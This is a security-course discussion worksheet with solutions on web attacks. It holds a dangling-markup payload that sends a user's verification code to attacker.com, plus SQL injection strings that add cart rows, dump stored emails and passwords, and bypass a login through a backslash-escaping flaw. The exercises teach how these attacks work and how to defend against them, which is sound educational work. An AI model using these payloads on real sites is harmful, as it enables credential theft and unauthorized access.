CS161 Fall 2026 — Introduction to Computer Security — Discussion 8

Q1 *Cross-site not scripting* **(2 points)**

Consider a simple web messaging service. You receive messages from other users. The page shows all messages sent to you. Its HTML looks like this:

```
Mallory: Do you have time for a conference call?
Steam: Your account verification code is 86423
Mallory: Where are you? This is <b>important!!!</b>
Steam: Thank you for your purchase
       <img src="https://store.steampowered.com/assets/thankyou.png">
```

The user is off buying video games from Steam, while Mallory is trying to get ahold of them.

Users can include **arbitrary HTML code** messages and it will be concatenated into the page, **unsanitized**. Sounds crazy, doesn't it? However, they have a magical technique that prevents *any* JavaScript code from running. Period.

Q1.1 (1 point) Discuss what an attacker could do to snoop on another user's messages. What specially crafted messages could Mallory have sent to steal this user's account verification code?

Solution:

```
Mallory: Hi <img src=" https://attacker.com/save?message=
Steam: Your account verification code is 86423
Mallory: "> Enjoying your weekend?
```

This makes a request to `attacker.com`, sending the account verification code as part of the URL.

Take injection attacks seriously, even if modern defenses like having a Content Security Policy effectively prevent XSS.

Q1.2 (1 point) Keeping in mind the attack you constructed in the previous part, what is a defense that can prevent against it?

Solution: Content Security Policy; We can specify the sources/domains that are allowed to be used for the `<img>` tag or specify the sources to block. This will block `<img>` tags with invalid sources and will stop the image from loading.

This content is protected and may not be shared, uploaded, or distributed.

Q2 *Second-order linear... err I mean SQL injection* **(3 points)**

Alice likes to use a startup, **NotAmazon**, to do her online shopping. Whenever she adds an item to her cart, a POST request containing the field **item** is made. On receiving such a request, **NotAmazon** executes the following statement:

```
cart_add := fmt.Sprintf("INSERT INTO cart (session, item) "
                                + "VALUES ('%s', '%s')", sessionToken, item)
db.Exec(cart_add)
```

Each item in the cart is stored as a separate row in the **cart** table.

Q2.1 (1 point) Alice is in desperate need of 2 pancake mixes, but the website only allows Alice to add 1 bag of pancake mix. Describe a POST request she can make to cause the **cart_add** statement to add 2 bags of pancake mix to her cart.

Solution: Alice can see her own cookies so she knows what **sessionToken** is. Now she can perform basic SQL injection using **item** being set to:

```
pancake mix'), ($sessionToken, 'pancake mix'); --
```

Q2.2 (1 point) What if Alice is in desperate need of 100 pancake mixes, how can you extrapolate the above input to add 100 pancake mixes to Alice's cart?

Solution: Very similar to above, we can just input more tuples of
`($sessionToken, 'pancake mix')`

```
pancake mix'), ($sessionToken, 'pancake mix'), (repeat 98 more times) ; --
```

After part (a), Alice recognizes a great business opportunity and begins reselling all of NotAmazon's pancake mix at inflated prices. In a panic, NotAmazon fixes the vulnerability by parameterizing the **cart_add** statement.

```
cart_add := "INSERT INTO cart (session, item) VALUES (?, ?)"
db.Exec(cart_add, sessionToken, item)
```

But Alice realized that **cart_add** isn't the only place **item** is used. When a user visits their cart, NotAmazon populates the webpage with links to the items. If a user only has one item in their cart, NotAmazon optimizes the query (avoiding joins) by using the following:

```
cart_query := fmt.Sprintf("SELECT item FROM cart " +
                          "WHERE session='%s' LIMIT 1", sessionToken)
item := db.Query(cart_query)
link_query = fmt.Sprintf("SELECT link FROM items WHERE item='%s'", item)
db.Query(link_query)
```


This content is protected and may not be shared, uploaded, or distributed.

Q2.3 (1 point) Alice claims that parameterizing the `cart_add` statement won't stop her pancake mix trafficking empire. Describe how she can still add 100 bags of pancake mix to her cart. Assume that `NotAmazon` checks that `sessionToken` is valid before executing any queries involving it.

Solution: Alice can send a malicious POST request like part (a). Even though her input won't change the SQL statement from (a), it will still store her string in the database. Now, if she visits her cart we'll execute the optimized query. Note that `link_query` doesn't have any injection protections, so her input will maliciously change the SQL statement. The `item` field in her POST request should be something like:

```
pancake mix'; INSERT INTO cart (session, item) VALUES
($sessionToken, 'pancake mix'), ... ; --
```

Moral of the story: Securing external facing APIs/queries is not enough, the entire data flow must be secured.

This content is protected and may not be shared, uploaded, or distributed.

Q3 *Web Security: PancakeStack* 🥞 **(7 points)**

EvanBot runs PancakeStack, a recipe-sharing site at `https://pancakestack.com`.
The site stores its data in the following two SQL tables:

Recipes	
id	uint32
title	string
author	string
body	string

Users	
username	string
email	string
password	string

Unless otherwise stated, assume PancakeStack does not utilize input sanitization or escaping.

Q3.1 (3 points) To find recipes, the search feature runs the following query, substituting the URL's `query` parameter for `$q`:

```
SELECT title, author FROM Recipes WHERE title = '$q'
```

Which of these values of `$q` successfully leak `evanbot`'s `email` and `password`? Select all that apply.

- [x] `' UNION SELECT email, password FROM Users WHERE username = 'evanbot' --`
- [x] `' UNION SELECT password, email FROM Users WHERE username = 'evanbot' --`
- [ ] `' UNION SELECT title, author FROM Recipes WHERE author = 'evanbot' --`
- [ ] `' UNION SELECT id, email, password FROM Users WHERE username = 'evanbot' --`
- [ ] `' UNION SELECT email, password FROM Users WHERE username = 'evanbot'`

Solution: A `UNION` glues a second `SELECT` onto the results, but only if both `SELECT`s return the **same number of columns** (the outer query returns two: `title`, `author`). Both correct payloads select exactly two columns — `email` and `password` — from `Users` and comment out the trailing `'` with `--` . Column **order** doesn't matter: swapping to `password, email` still dumps both secrets.

The distractors fail:

- **Recipes table:** a valid two-column `UNION`, but it reads from `Recipes`, so it leaks recipe titles and authors — never the `email`/`password` in `Users`. (Matching the column count is necessary but not sufficient; you also need the right table.)
- **Three columns** (`id, email, password`) mismatches the two-column outer query, so the `UNION` is a syntax error.
- **No `--` :** without the comment, the query's own trailing `'` is left dangling, producing an unterminated-string syntax error.

This content is protected and may not be shared, uploaded, or distributed.

Q3.2 (4 points) PancakeStack's login page runs the query below, substituting the submitted username and password for **`$user`** and **`$pass`**:

```
SELECT username FROM Users WHERE username = '$user' AND password = '$pass'
```

The user is logged in if the query returns one or more results.

To stop injection, the server escapes every single-quote (`'`) in the user's input by replacing each one with `\'`. Give values of **`$user`** and **`$pass`** that log you in without knowing any user's password.

`$user`:

`$pass`:

Solution: Set **`$user`** to a single backslash `\` and **`$pass`** to `OR 1=1 --` . Neither contains a `'`, so the escaper leaves both untouched, and the server builds:

```
... WHERE username = '\' AND password = 'OR 1=1 -- '
```

The parser reads `'\'` as open-quote, an **escaped** quote (`\'`, a literal `'` inside the string), and then keeps reading — the string only closes at the next quote, which is the opening quote the server put before **`$pass`**. So `\' AND password =` becomes one string value, and the contents of **`$pass`** (`OR 1=1`) land **outside** any quotes as live SQL. The `--` comments out the final `'`. The condition collapses to `username = '...' OR 1=1`, true for every row — authentication is bypassed.

This content is protected and may not be shared, uploaded, or distributed.